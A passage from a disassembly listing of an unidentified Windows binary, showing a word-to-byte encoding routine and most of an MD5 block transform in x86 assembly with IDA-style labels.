		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F33F
		add	esp, 0Ch
		push	4
		push	0
		push	[ebp+arg_4]
		call	sub_416B6A
		add	esp, 0Ch
		leave
		retn
sub_40F26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F33F	proc near		; CODE XREF: sub_40F26E+97p
					; sub_40F26E+B8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_40F35E
; ---------------------------------------------------------------------------


loc_40F34E:				; CODE XREF: sub_40F33F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_40F35E:				; CODE XREF: sub_40F33F+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_40F3CC
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 8
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+1], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 10h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+2], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 18h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+3], al
		jmp	short loc_40F34E
; ---------------------------------------------------------------------------

locret_40F3CC:				; CODE XREF: sub_40F33F+25j
		leave
		retn
sub_40F33F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3CE	proc near		; CODE XREF: sub_40F159+AAp
					; sub_40F159+E3p ...

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_410244
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-28955B88h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-173848AAh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+242070DBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3E423112h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0A83F051h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4787C62Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-57CFB9EDh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-2B96AFFh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+698098D8h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-74BB0851h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0A44Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-76A32842h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6B901122h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-2678E6Dh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5986BC72h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+49B40821h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-9E1DA9Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3FBF4CC0h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+265E5A51h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-16493856h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-29D0EFA3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+2441453h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-275E197Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-182C0438h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+21E1CDE6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3CC8F82Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0B2AF279h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+455A14EDh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-561C16FBh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3105C08h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+676F02D9h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-72D5B376h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5C6BEh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-788E097Fh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+6D9D6122h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-21AC7F4h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5B4115BCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4BDECFA9h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-944B4B0h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-41404390h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+289B7EC6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-155ED806h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-2B10CF7Bh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4881D05h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-262B2FC7h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1924661Bh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+1FA27CF8h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
